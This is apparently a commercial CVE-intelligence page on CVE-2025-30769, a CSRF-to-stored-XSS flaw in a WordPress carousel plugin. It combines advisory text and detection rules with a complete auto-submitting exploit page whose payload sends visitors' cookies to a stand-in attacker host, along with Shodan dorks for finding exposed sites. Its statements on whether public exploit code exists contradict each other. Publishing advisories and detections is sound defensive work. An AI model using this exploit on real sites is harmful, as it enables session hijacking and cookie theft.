☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Alexvtn logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30769

CVE-2025-30769 Cross-Site Request Forgery in Alexvtn
📅 PUBLISHED: 2025-03-27 11:15 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30769 is a Cross-Site Request Forgery (CSRF) vulnerability in the WIP WooCarousel Lite WordPress plugin (versions <= 1.1.7), developed by alexvtn. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is chained with Stored Cross-Site Scripting (XSS), enabling persistent payload execution when the admin’s session is hijacked. The CVSS v3.1 score is 7.1 (High), with a vector emphasizing network-based, low-complexity attacks requiring user interaction. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Supply chain risks include compromised plugin updates or malicious forks. Administrators should verify plugin integrity via checksums and monitor for official patches.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 7.1 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – Attacker does not need authentication.
  • User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
  • Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of data.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The CSRF-to-Stored-XSS chain allows persistent script execution, potentially leading to session hijacking, defacement, or data theft.

Deep Dive & Mechanics

The vulnerability resides in the WIP WooCarousel Lite plugin, which provides WooCommerce product carousels. The plugin fails to implement CSRF tokens in its administrative actions (e.g., saving settings, updating carousel configurations). An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin’s admin-ajax.php or settings endpoint.

The CSRF request can modify plugin options, including fields that are later rendered without sanitization, leading to Stored XSS. For example, an attacker could inject JavaScript into a carousel title or description field. When the carousel is displayed on the frontend, the script executes in the context of any visitor’s browser.

Attack Flow:

  1. Attacker identifies a vulnerable WordPress site running WIP WooCarousel Lite <= 1.1.7.
  2. Attacker crafts an HTML page with an auto-submitting form targeting the plugin’s settings endpoint (e.g., /wp-admin/admin.php?page=wip-woocarousel-lite-settings).
  3. Attacker lures an authenticated admin to the malicious page (e.g., via phishing email).
  4. The admin’s browser sends a forged POST request, updating a plugin option with a malicious payload (e.g., <script>alert('XSS')</script>).
  5. The payload is stored in the database and rendered on the carousel frontend, executing for all visitors.

Vulnerable vs. Patched Code

Vulnerable Code (wip-woocarousel-lite <= 1.1.7): The plugin’s settings page likely lacks a nonce check. Example vulnerable pattern:

// In admin/settings.php
function save_settings() {
    // No check_admin_referer() or wp_verify_nonce() call
    update_option('wip_woocarousel_lite_settings', $_POST['settings']);
}

Patched Code (Hypothetical): A secure version would include a nonce verification:

function save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wip_woocarousel_lite_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('wip_woocarousel_lite_settings', $_POST['settings']);
}

Additionally, output escaping (e.g., esc_html(), wp_kses_post()) should be applied to all stored data before rendering.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target WordPress site with WIP WooCarousel Lite <= 1.1.7.
  • Authenticated admin session (victim).

Exploit Steps:

  1. Create a malicious HTML file (csrf_exploit.html):
<html>
<body>
<form action="http://target/wp-admin/admin.php?page=wip-woocarousel-lite-settings" method="POST">
    <input type="hidden" name="settings[carousel_title]" value="<script>fetch('http://attacker/steal?cookie='+document.cookie)</script>">
    <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
  1. Host the file on an attacker-controlled server.
  2. Send the link to an authenticated admin (e.g., via email).
  3. Once the admin visits the page, the CSRF request updates the carousel title with the XSS payload.
  4. Any visitor to the carousel page triggers the script, exfiltrating cookies.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection & Prevention:

  • Monitor for unusual POST requests to /wp-admin/admin.php?page=wip-woocarousel-lite-settings without a valid nonce.
  • Use Web Application Firewall (WAF) rules to block requests with suspicious payloads (e.g., <script> tags) in plugin settings.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Regularly audit plugin code for missing CSRF tokens and output escaping.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin.php?page=wip-woocarousel-lite-settings with unusual parameters.
    • Outbound connections to attacker-controlled domains from the WordPress server.
  • File IOCs:
    • Modified plugin options in the wp_options table (e.g., wip_woocarousel_lite_settings containing script tags).
  • Log IOCs:
    • Admin session logs showing access to plugin settings from unexpected IPs.
    • PHP error logs indicating failed nonce checks (if patched).

Detection Engineering

YARA Rule

rule CVE_2025_30769_CSRF_XSS {
    meta:
        description = "Detects WIP WooCarousel Lite CSRF to Stored XSS payloads"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2025-30769"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "wip-woocarousel-lite"
        $settings_page = "admin.php?page=wip-woocarousel-lite-settings"
    condition:
        $plugin_path and $settings_page and $xss_payload
}

Sigma Rule

title: CVE-2025-30769 - WIP WooCarousel Lite CSRF to Stored XSS
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects CSRF attempts targeting WIP WooCarousel Lite settings
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page=wip-woocarousel-lite-settings'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-30769 - WIP WooCarousel Lite CSRF to Stored XSS";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin.php";
    http.uri; content:"page=wip-woocarousel-lite-settings";
    http.request_body; content:"<script";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin.php?page=wip-woocarousel-lite-settings without a valid nonce.
  3. Audit admin sessions for unauthorized changes to plugin settings.

Long-Term Fix:

  • Apply the official patch when released (monitor the WordPress plugin repository).
  • If no patch is available, manually add CSRF nonce checks and output escaping to the plugin’s settings handler.

Workaround:

  • Restrict access to the plugin settings page via .htaccess or IP whitelisting.
  • Use a security plugin (e.g., Wordfence) to enforce CSRF protection.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WIP WooCarousel Lite"
http.html:"wp-content/plugins/wip-woocarousel-lite"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30769/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.